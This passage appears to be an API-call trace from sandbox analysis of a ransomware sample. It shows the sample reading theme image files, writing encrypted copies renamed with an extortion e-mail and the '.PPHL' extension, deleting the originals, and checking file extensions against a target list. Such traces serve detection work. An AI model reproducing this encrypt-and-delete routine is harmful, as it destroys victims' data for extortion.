lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0078.923] SetEndOfFile (hFile=0x18c) returned 1 [0078.923] CloseHandle (hObject=0x18c) returned 1 [0078.923] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.924] SetEndOfFile (hFile=0x20c) returned 1 [0078.925] CloseHandle (hObject=0x20c) returned 1 [0078.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0078.925] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 1 [0078.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0078.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0078.925] lstrlenW (lpString=".doc") returned 4 [0078.925] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.925] lstrlenW (lpString=".docx") returned 5 [0078.925] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.925] lstrlenW (lpString=".pdf") returned 4 [0078.926] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.926] lstrlenW (lpString=".xls") returned 4 [0078.926] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.926] lstrlenW (lpString=".xlsx") returned 5 [0078.926] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.926] lstrlenW (lpString=".ppt") returned 4 [0078.926] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0078.926] lstrlenW (lpString=".zip") returned 4 [0078.926] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.926] lstrlenW (lpString=".rar") returned 4 [0078.926] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.926] lstrlenW (lpString=".bz2") returned 4 [0078.926] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.926] lstrlenW (lpString=".7z") returned 3 [0078.926] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0078.926] lstrlenW (lpString=".dbf") returned 4 [0078.926] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0078.926] lstrlenW (lpString=".1cd") returned 4 [0078.926] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0078.926] lstrlenW (lpString=".jpg") returned 4 [0078.926] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0078.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0078.926] lstrlenW (lpString=".doc") returned 4 [0078.927] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.927] lstrlenW (lpString=".docx") returned 5 [0078.927] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.927] lstrlenW (lpString=".pdf") returned 4 [0078.927] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.927] lstrlenW (lpString=".xls") returned 4 [0078.927] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.927] lstrlenW (lpString=".xlsx") returned 5 [0078.927] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.927] lstrlenW (lpString=".ppt") returned 4 [0078.927] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0078.927] lstrlenW (lpString=".zip") returned 4 [0078.927] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.927] lstrlenW (lpString=".rar") returned 4 [0078.927] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.927] lstrlenW (lpString=".bz2") returned 4 [0078.927] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.927] lstrlenW (lpString=".7z") returned 3 [0078.927] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0078.927] lstrlenW (lpString=".dbf") returned 4 [0078.927] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0078.927] lstrlenW (lpString=".1cd") returned 4 [0078.927] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0078.927] lstrlenW (lpString=".jpg") returned 4 [0078.927] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.928] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0078.928] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0078.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0080.113] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=15737) returned 1 [0080.113] CloseHandle (hObject=0x21c) returned 1 [0080.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 0x20 [0080.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0080.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0080.125] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.125] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0080.133] GetLastError () returned 0x0 [0080.133] ReadFile (in: hFile=0x21c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x3d79, lpOverlapped=0x0) returned 1 [0080.154] WriteFile (in: hFile=0x180, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0080.174] ReadFile (in: hFile=0x21c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0080.174] WriteFile (in: hFile=0x180, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0080.174] SetEndOfFile (hFile=0x180) returned 1 [0080.175] CloseHandle (hObject=0x180) returned 1 [0080.175] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.175] SetEndOfFile (hFile=0x21c) returned 1 [0080.176] CloseHandle (hObject=0x21c) returned 1 [0080.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0080.177] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 1 [0080.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0080.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0080.177] lstrlenW (lpString=".doc") returned 4 [0080.177] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0080.177] lstrlenW (lpString=".docx") returned 5 [0080.177] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0080.177] lstrlenW (lpString=".pdf") returned 4 [0080.177] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0080.177] lstrlenW (lpString=".xls") returned 4 [0080.177] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0080.177] lstrlenW (lpString=".xlsx") returned 5 [0080.177] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0080.177] lstrlenW (lpString=".ppt") returned 4 [0080.177] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0080.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0080.177] lstrlenW (lpString=".zip") returned 4 [0080.178] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0080.178] lstrlenW (lpString=".rar") returned 4 [0080.178] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0080.178] lstrlenW (lpString=".bz2") returned 4 [0080.178] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0080.178] lstrlenW (lpString=".7z") returned 3 [0080.178] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0080.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0080.178] lstrlenW (lpString=".dbf") returned 4 [0080.178] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0080.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0080.178] lstrlenW (lpString=".1cd") returned 4 [0080.178] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0080.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0080.178] lstrlenW (lpString=".jpg") returned 4 [0080.178] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0080.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0080.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0080.178] lstrlenW (lpString=".doc") returned 4 [0080.178] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0080.178] lstrlenW (lpString=".docx") returned 5 [0080.178] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0080.178] lstrlenW (lpString=".pdf") returned 4 [0080.178] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0080.178] lstrlenW (lpString=".xls") returned 4 [0080.178] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0080.179] lstrlenW (lpString=".xlsx") returned 5 [0080.179] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0080.179] lstrlenW (lpString=".ppt") returned 4 [0080.179] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0080.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0080.179] lstrlenW (lpString=".zip") returned 4 [0080.179] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0080.179] lstrlenW (lpString=".rar") returned 4 [0080.179] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0080.179] lstrlenW (lpString=".bz2") returned 4 [0080.179] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0080.179] lstrlenW (lpString=".7z") returned 3 [0080.179] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0080.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0080.179] lstrlenW (lpString=".dbf") returned 4 [0080.179] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0080.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0080.179] lstrlenW (lpString=".1cd") returned 4 [0080.179] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0080.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0080.179] lstrlenW (lpString=".jpg") returned 4 [0080.179] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0080.179] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0080.180] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0080.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0080.180] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=29305) returned 1 [0080.180] CloseHandle (hObject=0x21c) returned 1 [0080.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 0x20 [0080.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0080.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0080.181] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.181] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0080.182] GetLastError () returned 0x0 [0080.182] ReadFile (in: hFile=0x21c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x7279, lpOverlapped=0x0) returned 1 [0080.185] WriteFile (in: hFile=0x180, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x7280, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x7280, lpOverlapped=0x0) returned 1 [0080.187] ReadFile (in: hFile=0x21c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0080.187] WriteFile (in: hFile=0x180, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0080.188] SetEndOfFile (hFile=0x180) returned 1 [0080.188] CloseHandle (hObject=0x180) returned 1 [0080.188] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.188] SetEndOfFile (hFile=0x21c) returned 1 [0080.189] CloseHandle (hObject=0x21c) returned 1 [0080.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0080.190] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 1 [0080.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0080.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0080.190] lstrlenW (lpString=".doc") returned 4 [0080.190] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0080.190] lstrlenW (lpString=".docx") returned 5 [0080.190] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0080.190] lstrlenW (lpString=".pdf") returned 4 [0080.190] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0080.190] lstrlenW (lpString=".xls") returned 4 [0080.190] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0080.190] lstrlenW (lpString=".xlsx") returned 5 [0080.190] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0080.190] lstrlenW (lpString=".ppt") returned 4 [0080.190] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0080.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0080.190] lstrlenW (lpString=".zip") returned 4 [0080.190] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0080.190] lstrlenW (lpString=".rar") returned 4 [0080.191] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0080.191] lstrlenW (lpString=".bz2") returned 4 [0080.191] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0080.191] lstrlenW (lpString=".7z") returned 3 [0080.191] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0080.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0080.191] lstrlenW (lpString=".dbf") returned 4 [0080.191] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0080.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0080.191] lstrlenW (lpString=".1cd") returned 4 [0080.191] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0080.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0080.191] lstrlenW (lpString=".jpg") returned 4 [0080.191] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0080.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0080.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0080.191] lstrlenW (lpString=".doc") returned 4 [0080.191] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0080.191] lstrlenW (lpString=".docx") returned 5 [0080.191] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0080.191] lstrlenW (lpString=".pdf") returned 4 [0080.191] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0080.191] lstrlenW (lpString=".xls") returned 4 [0080.191] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0080.191] lstrlenW (lpString=".xlsx") returned 5 [0080.191] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0080.191] lstrlenW (lpString=".ppt") returned 4 [0080.192] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0080.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0080.192] lstrlenW (lpString=".zip") returned 4 [0080.192] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0080.192] lstrlenW (lpString=".rar") returned 4 [0080.192] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0080.192] lstrlenW (lpString=".bz2") returned 4 [0080.192] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0080.192] lstrlenW (lpString=".7z") returned 3 [0080.192] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0080.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0080.192] lstrlenW (lpString=".dbf") returned 4 [0080.192] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0080.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0080.192] lstrlenW (lpString=".1cd") returned 4 [0080.192] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0080.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0080.192] lstrlenW (lpString=".jpg") returned 4 [0080.192] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0080.192] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0080.192] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0080.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0080.194] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1009) returned 1 [0080.194] CloseHandle (hObject=0x21c) returned 1 [0080.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 0x20 [0080.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0080.194] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0080.194] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.194] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.194] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0080.197] GetLastError () returned 0x0 [0080.197] ReadFile (in: hFile=0x21c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x3f1, lpOverlapped=0x0) returned 1 [0080.199] WriteFile (in: hFile=0x180, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x400, lpOverlapped=0x0) returned 1 [0080.200] ReadFile (in: hFile=0x21c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0080.201] WriteFile (in: hFile=0x180, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, 